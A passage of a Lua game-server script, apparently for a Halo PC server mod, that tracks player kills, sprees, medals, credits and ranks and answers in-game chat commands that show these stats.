local Player = rresolveplayer(rcon_id)
if Player then
local hash = gethash(Player)
if hash then
local Player_KDR = RetrievePlayerKDR(Player)
local cpm = math.round(killstats[hash].total.credits / extra[hash].woops.gamesplayed, 2)
if cpm == 0 or cpm == nil then
cpm = "No credits earned"
end
local days, hours, minutes, seconds = secondsToTime(extra[hash].woops.time, 4)
-- =========================================================================================================================================================================
privatesay(player, getname(Player) .. "'s Stats.")
privatesay(player, "Kills: " .. killstats[hash].total.kills .. " | Deaths: " .. killstats[hash].total.deaths .. " | Assists: " .. killstats[hash].total.assists)
privatesay(player, "KDR: " .. Player_KDR .. " | Suicides: " .. killstats[hash].total.suicides .. " | Betrays: " .. killstats[hash].total.betrays)
privatesay(player, "Games Played: " .. extra[hash].woops.gamesplayed .. " | Time in Server: " .. days .. "d " .. hours .. "h " .. minutes .. "m " .. seconds .. "s")
privatesay(player, "Distance Traveled: " .. math.round(extra[hash].woops.distance / 1000, 2) .. " kilometers | Credits Per Map: " .. cpm)
-- =========================================================================================================================================================================
else
privatesay(player, "Script Error! Please try again!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats! They must be in the server!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats!")
end
end
return false
elseif t[1] == "@sprees" then
if t[2] then
local rcon_id = tonumber(t[2])
if rcon_id then
local Player = rresolveplayer(rcon_id)
if Player then
local hash = gethash(Player)
if hash then
-- =========================================================================================================================================================================
privatesay(player, getname(Player) .. "'s Spree Stats.")
privatesay(player, "Double Kill: " .. sprees[hash].count.double .. " | Triple Kill: " .. sprees[hash].count.triple .. " | Overkill: " .. sprees[hash].count.overkill .. " | Killtacular: " .. sprees[hash].count.killtacular)
privatesay(player, "Killtrocity: " .. sprees[hash].count.killtrocity .. " | Killimanjaro " .. sprees[hash].count.killimanjaro .. " | Killtastrophe: " .. sprees[hash].count.killtastrophe .. " | Killpocalypse: " .. sprees[hash].count.killpocalypse)
privatesay(player, "Killionaire: " .. sprees[hash].count.killionaire .. " | Kiling Spree " .. sprees[hash].count.killingspree .. " | Killing Frenzy: " .. sprees[hash].count.killingfrenzy .. " | Running Riot: " .. sprees[hash].count.runningriot)
privatesay(player, "Rampage: " .. sprees[hash].count.rampage .. " | Untouchable: " .. sprees[hash].count.untouchable .. " | Invincible: " .. sprees[hash].count.invincible .. " | Anomgstopkillingme: " .. sprees[hash].count.anomgstopkillingme)
privatesay(player, "Unfrigginbelievable: " .. sprees[hash].count.unfrigginbelievable .. " | Minutes as Last Man Standing: " .. sprees[hash].count.timeaslms)
-- =========================================================================================================================================================================
else
privatesay(player, "Script Error! Please try again!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats! They must be in the server!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats!")
end
end
return false
elseif t[1] == "@rank" then
if t[2] then
local rcon_id = tonumber(t[2])
if rcon_id then
local Player = rresolveplayer(rcon_id)
if Player then
local hash = gethash(Player)
if hash then
local credits = { }
for k, _ in pairs(killstats) do
table.insert(credits, { ["hash"] = k, ["credits"] = killstats[k].total.credits })
end
table.sort(credits, function(a, b)
return a.credits > b.credits
end)
for k, v in ipairs(credits) do
if hash == credits[k].hash then
local until_next_rank = CreditsUntilNextPromo(Player)
if until_next_rank == nil then
until_next_rank = "Unknown - " .. getname(Player) .. " is a new player"
end
-- =========================================================================================================================================================================
privatesay(player, getname(Player) .. " is ranked " .. k .. " out of " .. #credits .. "!")
privatesay(player, "Credits: " .. killstats[hash].total.credits .. " | Rank: " .. killstats[hash].total.rank)
privatesay(player, "Credits Until Next Rank: " .. until_next_rank)
-- =========================================================================================================================================================================
end
end
else
privatesay(player, "Script Error! Please try again!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats! They must be in the server!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats!")
end
end
return false
elseif t[1] == "@medals" then
if t[2] then
local rcon_id = tonumber(t[2])
if rcon_id then
local Player = rresolveplayer(rcon_id)
if Player then
local hash = gethash(Player)
if hash then
-- =========================================================================================================================================================================
privatesay(player, getname(Player) .. "'s Medal Stats.")
privatesay(player, "Any Spree: " .. medals[hash].class.sprees .. " (" .. medals[hash].count.sprees .. ") | Assistant: " .. medals[hash].class.assists .. " (" .. medals[hash].count.assists .. ") | Close Quarters: " .. medals[hash].class.closequarters .. " (" .. medals[hash].count.assists .. ")")
privatesay(player, "Crack Shot: " .. medals[hash].class.crackshot .. " (" .. medals[hash].count.crackshot .. ") | Downshift: " .. medals[hash].class.downshift .. " (" .. medals[hash].count.downshift .. ") | Grenadier: " .. medals[hash].class.grenadier .. " (" .. medals[hash].count.grenadier .. ")")
privatesay(player, "Heavy Weapons: " .. medals[hash].class.heavyweapons .. " (" .. medals[hash].count.heavyweapons .. ") | Jack of all Trades: " .. medals[hash].class.jackofalltrades .. " (" .. medals[hash].count.jackofalltrades .. ") | Mobile Asset: " .. medals[hash].class.mobileasset .. " (" .. medals[hash].count.moblieasset .. ")")
privatesay(player, "Multi Kill: " .. medals[hash].class.multikill .. " (" .. medals[hash].count.multikill .. ") | Sidearm: " .. medals[hash].class.sidearm .. " (" .. medals[hash].count.sidearm .. ") | Trigger Man: " .. medals[hash].class.triggerman .. " (" .. medals[hash].count.triggerman .. ")")
-- =========================================================================================================================================================================
else
privatesay(player, "Script Error! Please try again!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats! They must be in the server!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats!")
end
end
return false
end
end
end
function OnPlayerJoin(player)
DeclearNewPlayerStats(gethash(player))
kill_command_count[gethash(player)] = 0
credit_timer = registertimer(60000, "CreditTimer", player)
-- Update the player counts
cur_players = cur_players + 1
GetMedalClasses(player)
local alreadyExists = false
GetPlayerRank(player)
jointime[gethash(player)] = os.time()
xcoords[gethash(player)] = readfloat(getplayer(player) + 0xF8)
ycoords[gethash(player)] = readfloat(getplayer(player) + 0xFC)
zcoords[gethash(player)] = readfloat(getplayer(player) + 0x100)
-- 'SERVER_NAME' will print the name of the server to the joining player - as defined in the .init.
privatesay(player, "Welcome to " .. SERVER_NAME)
local thisTeamSize = 0
killers[player] = { }
if AnnounceRank == true then
AnnouncePlayerRank(player)
end
if table.find(hash_table, gethash(player), false) then
for k, v in pairs(hash_table) do
if v ~= getteam(player) then
changeteam(player, true)
end
privatesay(player, REJOIN_MESSAGE)
alreadyEsists = true
break
end
end
if alreadyExists == false then
hash_table[gethash(player)] = getteam(player)
end
-- Verify Blue Team
if getteam(player) == BLUE_TEAM then
-- Add one to player count (blue)
cur_blue_count = cur_blue_count + 1
-- Update Counts
thisTeamSize = cur_blue_count
else
-- Add one to player count (red)
cur_red_count = cur_red_count + 1
-- Update Counts
thisTeamSize = cur_red_count
end
end
function getteamplay()
-- Confirmed. (Off = 0) (On = 1)
if readbyte(gametype_base + 0x34) == 1 then
return true
else
return false
end
end
function OnPlayerLeave(player)
cur_players = cur_players - 1
hash_table[gethash(player)] = getteam(player)
kills[gethash(player)] = 0
extra[gethash(player)].woops.time = extra[gethash(player)].woops.time + os.time() - jointime[gethash(player)]
-- Verify Blue Team
if getteam(player) == BLUE_TEAM then
-- Take one away from player count (blue)
cur_blue_count = cur_blue_count - 1
-- Verify Red Team
elseif getteam(player) == RED_TEAM then
-- Take one away from player count (red)
cur_red_count = cur_red_count - 1
end
end
function OnPlayerKill(killer, victim, mode)
if mode == 4 then
local hash = gethash(killer)
local vhash = gethash(victim)
local m_player = getplayer(killer)
local m_object = getobject(readdword(m_player + 0x34))
if last_damage[vhash] then
if string.find(last_damage[vhash], "melee") then
medals[hash].count.closequarters = medals[hash].count.closequarters + 1
stats[hash].kills.melee = stats[hash].kills.melee + 1
elseif last_damage[vhash] == "globals\\vehicle_collision" then
stats[hash].kills.splatter = stats[hash].kills.splatter + 1
medals[hash].count.moblieasset = medals[hash].count.moblieasset + 1
elseif last_damage[vhash] == "vehicles\\banshee\\mp_fuel rod explosion" then
stats[hash].kills.bansheefuelrod = stats[hash].kills.bansheefuelrod + 1
medals[hash].count.moblieasset = medals[hash].count.moblieasset + 1
elseif last_damage[vhash] == "vehicles\\banshee\\banshee bolt" then
stats[hash].kills.banshee = stats[hash].kills.banshee + 1
medals[hash].count.moblieasset = medals[hash].count.moblieasset + 1
elseif last_damage[vhash] == "vehicles\\c gun turret\\mp bolt" then
stats[hash].kills.turret = stats[hash].kills.turret + 1
medals[hash].count.moblieasset = medals[hash].count.moblieasset + 1
elseif last_damage[vhash] == "vehicles\\ghost\\ghost bolt" then
stats[hash].kills.ghost = stats[hash].kills.ghost + 1
medals[hash].count.moblieasset = medals[hash].count.moblieasset + 1
elseif last_damage[vhash] == "vehicles\\scorpion\\bullet" then
stats[hash].kills.tankmachinegun = stats[hash].kills.tankmachinegun + 1
medals[hash].count.moblieasset = medals[hash].count.moblieasset + 1
elseif last_damage[vhash] == "vehicles\\scorpion\\shell explosion" then
stats[hash].kills.tankshell = stats[hash].kills.tankshell + 1
medals[hash].count.moblieasset = medals[hash].count.moblieasset + 1
elseif last_damage[vhash] == "vehicles\\warthog\\bullet" then
stats[hash].kills.chainhog = stats[hash].kills.chainhog + 1
medals[hash].count.moblieasset = medals[hash].count.moblieasset + 1
elseif last_damage[vhash] == "weapons\\assault rifle\\bullet" then
stats[hash].kills.assaultrifle = stats[hash].kills.assaultrifle + 1
medals[hash].count.triggerman = medals[hash].count.triggerman + 1
elseif last_damage[vhash] == "weapons\\flamethrower\\burning" or last_damage[vhash] == "weapons\\flamethrower\\explosion" or last_damage[vhash] == "weapons\\flamethrower\\impact damage" then
medals[hash].count.heavyweapons = medals[hash].count.heavyweapons + 1
stats[hash].kills.flamethrower = stats[hash].kills.flamethrower + 1
elseif last_damage[vhash] == "weapons\\frag grenade\\explosion" then
medals[hash].count.grenadier = medals[hash].count.grenadier + 1
stats[hash].kills.fragnade = stats[hash].kills.fragnade + 1
elseif last_damage[vhash] == "weapons\\needler\\detonation damage" or last_damage[vhash] == "weapons\\needler\\explosion" or last_damage[vhash] == "weapons\\needler\\impact damage" then
medals[hash].count.triggerman = medals[hash].count.triggerman + 1
stats[hash].kills.needler = stats[hash].kills.needler + 1
elseif last_damage[vhash] == "weapons\\pistol\\bullet" then
stats[hash].kills.pistol = stats[hash].kills.pistol + 1
medals[hash].count.sidearm = medals[hash].count.sidearm + 1
elseif last_damage[vhash] == "weapons\\plasma grenade\\attached" then
medals[hash].count.grenadier = medals[hash].count.grenadier + 1
stats[hash].kills.grenadestuck = stats[hash].kills.grenadestuck + 1
elseif last_damage[vhash] == "weapons\\plasma grenade\\explosion" then
medals[hash].count.grenadier = medals[hash].count.grenadier + 1
stats[hash].kills.plasmanade = stats[hash].kills.plasmanade + 1
elseif last_damage[vhash] == "weapons\\plasma pistol\\bolt" then
stats[hash].kills.plasmapistol = stats[hash].kills.plasmapistol + 1
medals[hash].count.sidearm = medals[hash].count.sidearm + 1
elseif last_damage[vhash] == "weapons\\plasma rifle\\charged bolt" then
extra[hash].woops.empblast = extra[hash].woops.empblast + 1
medals[hash].count.jackofalltrades = medals[hash].count.jackofalltrades + 1
-- EMP Blast
elseif last_damage[vhash] == "weapons\\plasma rifle\\bolt" then
stats[hash].kills.plasmarifle = stats[hash].kills.plasmarifle + 1
medals[hash].count.triggerman = medals[hash].count.triggerman + 1
elseif last_damage[vhash] == "weapons\\plasma_cannon\\effects\\plasma_cannon_explosion" or last_damage[vhash] == "weapons\\plasma_cannon\\impact damage" then
medals[hash].count.heavyweapons = medals[hash].count.heavyweapons + 1
stats[hash].kills.fuelrod = stats[hash].kills.fuelrod + 1
elseif last_damage[vhash] == "weapons\\rocket launcher\\explosion" then
if m_object then
if readbyte(m_object + 0x2A0) == 1 then
-- obj_crouch
extra[hash].woops.rockethog = extra[hash].woops.rockethog + 1
else
medals[hash].count.heavyweapons = medals[hash].count.heavyweapons + 1
stats[hash].kills.rocket = stats[hash].kills.rocket + 1
end
else
medals[hash].count.heavyweapons = medals[hash].count.heavyweapons + 1
stats[hash].kills.rocket = stats[hash].kills.rocket + 1
end
elseif last_damage[vhash] == "weapons\\shotgun\\pellet" then
medals[hash].count.closequarters = medals[hash].count.closequarters + 1
stats[hash].kills.shotgun = stats[hash].kills.shotgun + 1
elseif last_damage[vhash] == "weapons\\sniper rifle\\sniper bullet" then
medals[hash].count.crackshot = medals[hash].count.crackshot + 1
stats[hash].kills.sniper = stats[hash].kills.sniper + 1
elseif last_damage[vhash] == "backtap" then
medals[hash].count.closequarters = medals[hash].count.closequarters + 1
stats[hash].kills.melee = stats[hash].kills.melee + 1
end
end
end
if game_started == true then
-- mode 0: Killed by server
if mode == 0 then
killstats[gethash(victim)].total.deaths = killstats[gethash(victim)].total.deaths + 1
-- mode 1: Killed by fall damage
elseif mode == 1 then
killstats[gethash(victim)].total.deaths = killstats[gethash(victim)].total.deaths + 1
-- mode 2: Killed by guardians
elseif mode == 2 then
killstats[gethash(victim)].total.deaths = killstats[gethash(victim)].total.deaths + 1
-- mode 3: Killed by vehicle
elseif mode == 3 then
killstats[gethash(victim)].total.deaths = killstats[gethash(victim)].total.deaths + 1
-- mode 4: Killed by killer
elseif mode == 4 then
if table.find(killers[victim], killer, false) == nil then
table.insert(killers[victim], killer)
end
killstats[gethash(killer)].total.kills = killstats[gethash(killer)].total.kills + 1
killstats[gethash(victim)].total.deaths = killstats[gethash(victim)].total.deaths + 1
-- Verify Blue Team
if getteam(killer) == BLUE_TEAM then
changescore(killer, 15, plus)
SendMessage(killer, "Rewarded: +15 (cR) - Kill")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 15
end
if readword(getplayer(killer) + 0x9C) == 10 then
changescore(killer, 5, plus)
SendMessage(killer, "Rewarded: +5 (cR) - 10 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 5
elseif readword(getplayer(killer) + 0x9C) == 20 then
changescore(killer, 5, plus)
SendMessage(killer, "Rewarded: +5 (cR) - 20 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 5
elseif readword(getplayer(killer) + 0x9C) == 30 then
changescore(killer, 5, plus)
SendMessage(killer, "Rewarded: +5 (cR) - 30 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 5
elseif readword(getplayer(killer) + 0x9C) == 40 then
changescore(killer, 5, plus)
SendMessage(killer, "Rewarded: +5 (cR) - 40 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 5
elseif readword(getplayer(killer) + 0x9C) == 50 then
changescore(killer, 10, plus)
SendMessage(killer, "Rewarded: +10 (cR) - 50 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
elseif readword(getplayer(killer) + 0x9C) == 60 then
changescore(killer, 10, plus)
SendMessage(killer, "Rewarded: +10 (cR) - 60 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
elseif readword(getplayer(killer) + 0x9C) == 70 then
changescore(killer, 10, plus)
SendMessage(killer, "Rewarded: +10 (cR) - 70 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
elseif readword(getplayer(killer) + 0x9C) == 80 then
changescore(killer, 10, plus)
SendMessage(killer, "Rewarded: +10 (cR) - 80 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
elseif readword(getplayer(killer) + 0x9C) == 90 then
changescore(killer, 10, plus)
SendMessage(killer, "Rewarded: +10 (cR) - 90 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
elseif readword(getplayer(killer) + 0x9C) == 100 then
changescore(killer, 20, plus)
SendMessage(killer, "Rewarded: +20 (cR) - 100 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 20
elseif readword(getplayer(killer) + 0x9C) > 100 then
changescore(killer, 5, plus)
SendMessage(killer, "Rewarded: +5 (cR) - More then 100 Kills")
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 5
end
local hash = gethash(killer)
if readword(getplayer(killer) + 0x98) == 2 then
-- if multi kill is equal to 2 then
SendMessage(killer, "Rewarded: +8 (cR) - Double Kill")
changescore(killer, 8, plus)
killstats[hash].total.credits = killstats[hash].total.credits + 8
sprees[hash].count.double = sprees[hash].count.double + 1
medals[hash].count.multikill = medals[hash].count.multikill + 1
elseif readword(getplayer(killer) + 0x98) == 3 then
-- if multi kill is equal to 3 then
SendMessage(killer, "Rewarded: +10 (cR) - Triple Kill")
changescore(killer, 10, plus)
sprees[hash].count.triple = sprees[hash].count.triple + 1
killstats[hash].total.credits = killstats[hash].total.credits + 10
medals[hash].count.multikill = medals[hash].count.multikill + 1
elseif readword(getplayer(killer) + 0x98) == 4 then
-- if multi kill is equal to 4 then
SendMessage(killer, "Rewarded: +12 (cR) - Overkill")
changescore(killer, 12, plus)
sprees[hash].count.overkill = sprees[hash].count.overkill + 1
killstats[hash].total.credits = killstats[hash].total.credits + 12
medals[hash].count.multikill = medals[hash].count.multikill + 1
elseif readword(getplayer(killer) + 0x98) == 5 then
-- if multi kill is equal to 5 then
SendMessage(killer, "Rewarded: +14 (cR) - Killtacular")
changescore(killer, 14, plus)
sprees[hash].count.killtacular = sprees[hash].count.killtacular + 1
killstats[hash].total.credits = killstats[hash].total.credits + 14
medals[hash].count.multikill = medals[hash].count.multikill + 1
elseif readword(getplayer(killer) + 0x98) == 6 then
-- if multi kill is equal to 6 then
SendMessage(killer, "Rewarded: +16 (cR) - Killtrocity")
changescore(killer, 16, plus)
sprees[hash].count.killtrocity = sprees[hash].count.killtrocity + 1
killstats[hash].total.credits = killstats[hash].total.credits + 16
medals[hash].count.multikill = medals[hash].count.multikill + 1
elseif readword(getplayer(killer) + 0x98) == 7 then
-- if multi kill is equal to 7 then
SendMessage(killer, "Rewarded: +18 (cR) - Killimanjaro")
changescore(killer, 18, plus)
sprees[hash].count.killimanjaro = sprees[hash].count.killimanjaro + 1
killstats[hash].total.credits = killstats[hash].total.credits + 18
medals[hash].count.multikill = medals[hash].count.multikill + 1
elseif readword(getplayer(killer) + 0x98) == 8 then
-- if multi kill is equal to 8 then
SendMessage(killer, "Rewarded: +20 (cR) - Killtastrophe")
changescore(killer, 20, plus)
sprees[hash].count.killtastrophe = sprees[hash].count.killtastrophe + 1
killstats[hash].total.credits = killstats[hash].total.credits + 20
medals[hash].count.multikill = medals[hash].count.multikill + 1
elseif readword(getplayer(killer) + 0x98) == 9 then
-- if multi kill is equal to 9 then
privatesay(killer, "Rewarded: +22 (cR) - Killpocalypse")
changescore(killer, 22, plus)
sprees[hash].count.killpocalypse = sprees[hash].count.killpocalypse + 1
killstats[hash].total.credits = killstats[hash].total.credits + 22
medals[hash].count.multikill = medals[hash].count.multikill + 1
elseif readword(getplayer(killer) + 0x98) >= 10 then
-- if multi kill is equal to 10 or more then
SendMessage(killer, "Rewarded: +25 (cR) - Killionaire")
changescore(killer, 25, plus)
sprees[hash].count.killionaire = sprees[hash].count.killionaire + 1
killstats[hash].total.credits = killstats[hash].total.credits + 25
medals[hash].count.multikill = medals[hash].count.multikill + 1
end
if readword(getplayer(killer) + 0x96) == 5 then
-- if killing spree is 5 then
SendMessage(killer, "Rewarded: +5 (cR) - Killing Spree")
changescore(killer, 5, plus)
sprees[hash].count.killingspree = sprees[hash].count.killingspree + 1
killstats[hash].total.credits = killstats[hash].total.credits + 5
medals[hash].count.sprees = medals[hash].count.sprees + 1
elseif readword(getplayer(killer) + 0x96) == 10 then
-- if killing spree is 10 then
SendMessage(killer, "Rewarded: +10 (cR) - Killing Frenzy")
changescore(killer, 10, plus)
sprees[hash].count.killingfrenzy = sprees[hash].count.killingfrenzy + 1
killstats[hash].total.credits = killstats[hash].total.credits + 10
medals[hash].count.sprees = medals[hash].count.sprees + 1
elseif readword(getplayer(killer) + 0x96) == 15 then
-- if killing spree is 15 then
SendMessage(killer, "Rewarded: +15 (cR) - Running Riot")
changescore(killer, 15, plus)
sprees[hash].count.runningriot = sprees[hash].count.runningriot + 1
killstats[hash].total.credits = killstats[hash].total.credits + 15
medals[hash].count.sprees = medals[hash].count.sprees + 1
elseif readword(getplayer(killer) + 0x96) == 20 then
-- if killing spree is 20 then
SendMessage(killer, "Rewarded: +20 (cR) - Rampage")
changescore(killer, 20, plus)
sprees[hash].count.rampage = sprees[hash].count.rampage + 1
killstats[hash].total.credits = killstats[hash].total.credits + 20
medals[hash].count.sprees = medals[hash].count.sprees + 1
elseif readword(getplayer(killer) + 0x96) == 25 then
-- if killing spree is 25 then
SendMessage(killer, "Rewarded: +25 (cR) - Untouchable")
changescore(killer, 25, plus)
sprees[hash].count.untouchable = sprees[hash].count.untouchable + 1
killstats[hash].total.credits = killstats[hash].total.credits + 25
medals[hash].count.sprees = medals[hash].count.sprees + 1
elseif readword(getplayer(killer) + 0x96) == 30 then
-- if killing spree is 30 then
SendMessage(killer, "Rewarded: +30 (cR) - Invincible")
changescore(killer, 30, plus)
sprees[hash].count.invincible = sprees[hash].count.invincible + 1
killstats[hash].total.credits = killstats[hash].total.credits + 30
medals[hash].count.sprees = medals[hash].count.sprees + 1
elseif readword(getplayer(killer) + 0x96) == 35 then
-- if killing spree is 35 then
SendMessage(killer, "Rewarded: +35 (cR) - Anomgstopkillingme")
changescore(killer, 35, plus)
sprees[hash].count.anomgstopkillingme = sprees[hash].count.anomgstopkillingme + 1
killstats[hash].total.credits = killstats[hash].total.credits + 35
medals[hash].count.sprees = medals[hash].count.sprees + 1
elseif readword(getplayer(killer) + 0x96) >= 40 and sprees % 5 == 0 then
-- if killing spree is 40 or more (Every 5 it will say this after 40) then
SendMessage(killer, "Rewarded: +40 (cR) - Unfrigginbelievable")
changescore(killer, 40, plus)
sprees[hash].count.unfrigginbelievable = sprees[hash].count.unfrigginbelievable + 1
killstats[hash].total.credits = killstats[hash].total.credits + 40
medals[hash].count.sprees = medals[hash].count.sprees + 1
end
-- Revenge
for k, v in pairs(killers[killer]) do
if v == victim then
table.remove(killers[killer], k)
medals[gethash(killer)].count.jackofalltrades = medals[gethash(killer)].count.jackofalltrades + 1
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
SendMessage(killer, "Rewarded: +10 (cR) - Revenge")
changescore(killer, 10, plus)
end
end
-- Killed from the Grave
if isplayerdead(killer) == true then
medals[gethash(killer)].count.jackofalltrades = medals[gethash(killer)].count.jackofalltrades + 1
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
SendMessage(killer, "Rewarded: +10 (cR) - Killed from the Grave")
changescore(killer, 10, plus)
end
-- Downshift
if getplayer(killer) then
if killer ~= nil then
local objectid = getplayerobjectid(killer)
if objectid ~= nil then
local m_object = getobject(objectid)
local kvehicleid = readdword(m_object + 0x11C)
local seat_index = readword(m_object + 0x2F0)
if kvehicleid ~= nil then
if seat_index == 1 or seat_index == 2 or seat_index == 3 or seat_index == 4 then
for i = 0, 15 do
if getplayer(i) then
local m_object = getobject(getplayerobjectid(i))
local loopvehicleid = readdword(m_object + 0x11C)
local seat_index = readword(m_object + 0x2F0)
if kvehicleid == loopvehicleid then
if seat_index == 0 then
if getteam(killer) == getteam(i) then
medals[gethash(i)].count.downshift = medals[gethash(i)].count.downshift + 1
killstats[gethash(i)].total.credits = killstats[gethash(i)].total.credits + 5
SendMessage(i, "Awarded: +5 (cR) - Downshift")
changescore(i, 5, plus)
end
end
end
end
end
end
end
end
end
end
-- Avenge
for i = 0, 15 do
if getplayer(i) then
if i ~= victim then
if gethash(i) then
if getteam(i) == getteam(victim) then
avenge[gethash(i)] = gethash(killer)
end
end
end
end
end
if avenge[gethash(killer)] == gethash(victim) then
medals[gethash(killer)].count.jackofalltrades = medals[gethash(killer)].count.jackofalltrades + 1
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 5
SendMessage(killer, "Rewarded: +5 (cR) - Avenger")
changescore(killer, 5, plus)
end
-- Killjoy
if killer then
kills[gethash(killer)] = kills[gethash(killer)] or 1
end
if killer and victim then
-- Works
if kills[gethash(victim)] ~= nil then
if kills[gethash(victim)] >= 5 then
medals[gethash(killer)].count.jackofalltrades = medals[gethash(killer)].count.jackofalltrades + 1
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 5
SendMessage(killer, "Rewarded: +5 (cR) - Killjoy")
changescore(killer, 5, plus)
end
end
end
kills[gethash(victim)] = 0
-- Reload This
local object = getplayerobjectid(victim)
local m_object = getobject(object)
local reloading = readbyte(m_object + 0x2A4)
if reloading == 5 then
SendMessage(killer, "Rewarded: +5 (cR) - Reload This!")
medals[gethash(killer)].count.jackofalltrades = medals[gethash(killer)].count.jackofalltrades + 1
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 5
changescore(killer, 5, plus)
end
-- First Strike
kill_count = kill_count + 1
if kill_count == 1 then
medals[gethash(killer)].count.jackofalltrades = medals[gethash(killer)].count.jackofalltrades + 1
killstats[gethash(killer)].total.credits = killstats[gethash(killer)].total.credits + 10
SendMessage(killer, "Rewarded: +10 (cR) - First Strike")
changescore(killer, 10, plus)
end
registertimer(10, "CloseCall", killer)
-- mode 5: Betrayed by killer
elseif mode == 5 then
killstats[gethash(victim)].total.deaths = killstats[gethash(victim)].total.deaths + 1
killstats[gethash(killer)].total.betrays = killstats[gethash(killer)].total.betrays + 1
-- mode 6: Suicide
elseif mode == 6 then
killstats[gethash(victim)].total.suicides = killstats[gethash(victim)].total.suicides + 1
-- Verify Red Team
if getteam(victim) == RED_TEAM then
end
end
-- mode 4: Killed by killer
if mode == 4 then
GetPlayerRank(killer)
registertimer(10, "LevelUp", killer)
end
end
end
function OnDamageLookup(receiver, causer, mapId)
local tagname, tagtype = gettaginfo(mapId)
if causer ~= nil then
if getobject(causer) then
local cplayer = objectaddrtoplayer(causer)
else
local cplayer = nil
end
end
if string.find(tagname, "melee") then
odl_multiplier(500)
end
if cplayer ~= nil then
if getteam(cplayer) ~= nil then
-- Verify Red Team
if getteam(cplayer) == RED_TEAM then
local modifier = 1.0
odl_multiplier(modifier)
end
end
end
end
function OnDamageApplication(receiving, causing, tagid, hit, backtap)
if receiving then
local r_object = getobject(receiving)
if r_object then
local receiver = objectaddrtoplayer(r_object)
if receiver then
if not backtap then
local tagname, tagtype = gettaginfo(tagid)
last_damage[gethash(receiver)] = tagname
else
last_damage[gethash(receiver)] = "melee"
end
end
end
end
end
function OnClientUpdate(player)
GivePlayerMedals(player)
if getplayerobjectid(player) then
local x, y, z = getobjectcoords(getplayerobjectid(player))
if xcoords[gethash(player)] then
local x_dist = x - xcoords[gethash(player)]
local y_dist = y - ycoords[gethash(player)]
local z_dist = z - zcoords[gethash(player)]
local dist = math.sqrt(x_dist ^ 2 + y_dist ^ 2 + z_dist ^ 2)
extra[gethash(player)].woops.distance = extra[gethash(player)].woops.distance + dist
end
xcoords[gethash(player)] = x
ycoords[gethash(player)] = y
zcoords[gethash(player)] = z
end
end
function table.save(t, filename)
local dir = getprofilepath()
local file = io.open(dir .. "\\data\\" .. filename, "w")
local spaces = 0
local function tab()
local str = ""
for i = 1, spaces do
str = str .. " "
end
return str
end
local function format(t)
spaces = spaces + 4
local str = "{ "
for k, v in opairs(t) do
-- Key datatypes
if type(k) == "string" then
k = string.format("%q", k)
elseif k == math.inf then
k = "1 / 0"
end
-- Value datatypes
if type(v) == "string" then
v = string.format("%q", v)
elseif v == math.inf then
v = "1 / 0"
end
if type(v) == "table" then
if table.len(v) > 0 then
str = str .. "\n" .. tab() .. "[" .. k .. "] = " .. format(v) .. ","
else
str = str .. "\n" .. tab() .. "[" .. k .. "] = {},"
end
else
str = str .. "\n" .. tab() .. "[" .. k .. "] = " .. tostring(v) .. ","
end
end
spaces = spaces - 4
return string.sub(str, 1, string.len(str) - 1) .. "\n" .. tab() .. "}"
end
file:write("return " .. format(t))
file:close()
end
function opairs(t)
local keys = { }
for k, v in pairs(t) do
table.insert(keys, k)
end
table.sort(keys,
function(a, b)
if type(a) == "number" and type(b) == "number" then
return a < b
end
an = string.lower(tostring(a))
bn = string.lower(tostring(b))
if an ~= bn then
return an < bn
else
return tostring(a) < tostring(b)
end
end)
local count = 1
return function()
if table.unpack(keys) then
local key = keys[count]
local value = t[key]
count = count + 1
return key, value
end
end
end
function table.load(filename)
local dir = getprofilepath()
local file = loadfile(dir .. "\\data\\" .. filename)
if file then
return file() or { }
end
return { }
end
function table.len(t)
local count = 0
for k, v in pairs(t) do
count = count + 1
end
return count
end
function adjustedtimestamp()
local strMonth = os.date("%m")
local strYear = os.date("%Y")
local strMin = os.date("%M")
local strSec = os.date("%S")
local intDay = tonumber(os.date("%d"))
local intHour = tonumber(os.date("%H"))
if intHour < 7 then
local intDiff = 7 - intHour
intHour = 24 - intDiff
intDay = intDay - 1
elseif intHour >= 7 then
intHour = intHour - 7
end
local strMonthFinal = string.format("%02.0f", strMonth)
local strYearFinal = string.format("%04.0f", strYear)
local strMinFinal = string.format("%02.0f", strMin)
local strSecFinal = string.format("%02.0f", strSec)
local intDayFinal = string.format("%02.0f", intDay)
local intHourFinal = string.format("%02.0f", intHour)
local temp = "[" .. strMonthFinal .. "/" .. intDayFinal .. "/" .. strYearFinal .. " " .. intHourFinal .. ":" .. strMinFinal .. ":" .. strSecFinal .. "]"
local timestamp = tostring(temp)
return timestamp
end
function isplayerdead(player)
local m_objectId = getplayerobjectid(player)
if m_objectId then
local m_object = getobject(m_objectId)
if m_object then
return false
else
return true
end
end
end
function isplayerinvis(player)
if player ~= nil then
local m_playerObjId = readdword(getplayer(player) + 0x34)
local m_object = getobject(m_playerObjId)
local obj_invis_scale = readfloat(m_object + 0x37C)
